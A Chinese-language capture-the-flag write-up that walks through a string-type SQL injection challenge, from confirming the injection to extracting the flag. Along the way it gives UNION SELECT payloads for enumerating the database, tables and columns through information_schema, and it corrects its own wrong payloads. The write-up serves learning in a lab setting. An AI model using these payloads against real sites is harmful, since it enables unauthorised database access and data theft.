2025.1.15——二、字符型注入
一、基本操作:整理已知信息,本题为字符型注入
二、解题步骤
step 1:确认为字符型注入
键入:
1
键入:1' and 1=2 # 发现报错
键入:1' and 1=1 # 未发现报错
所以确认为字符型注入
step 2:查询字段
1' order by 4 #
1' order by 2 #
确认字段数为2(省略了试探字段数为3的情况)
step 3:爆数据库名
1' and 1=2 union select database(),database() #
得到两个数据库名均为sqli
step 4:爆表名
错误示范:
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_name='sqli' #
错误原因:最后部分应该是 table_schema 而不是 table_name。通过指定table_schema='sqli',可以筛选出属于sqli这个数据库的所有表的名称。如果使用table_name,则需要知道具体的表名才能进行查询
正确payload:
1' and 1=2 union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' #
得到表名分别为flag和news
step 5:爆列名
错误示范:
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='sqli' and column_schema='flag' #
错误原因:这里的column_schema并不是information_schema.columns表中的有效字段。在information_schema.columns表中,用于指定数据库名的字段是table_schema,而不是column_schema。所以,这个查询中的条件column_schema='flag'是错误的,导致 SQL 语句无法正确执行,从而出现错误。
正确payload:
1' and 1=2 union select 1,group_concat(column_name)from information_schema.columns where table_name='flag' #
step 6:爆具体数据
1' and 1=2 union select 1,flag from sqli.flag #
三、小结
与整数型注入流程大致相同,区别在于需要加上单引号进行语句闭合,最后还要加上#将SQL语句剩余部分注释掉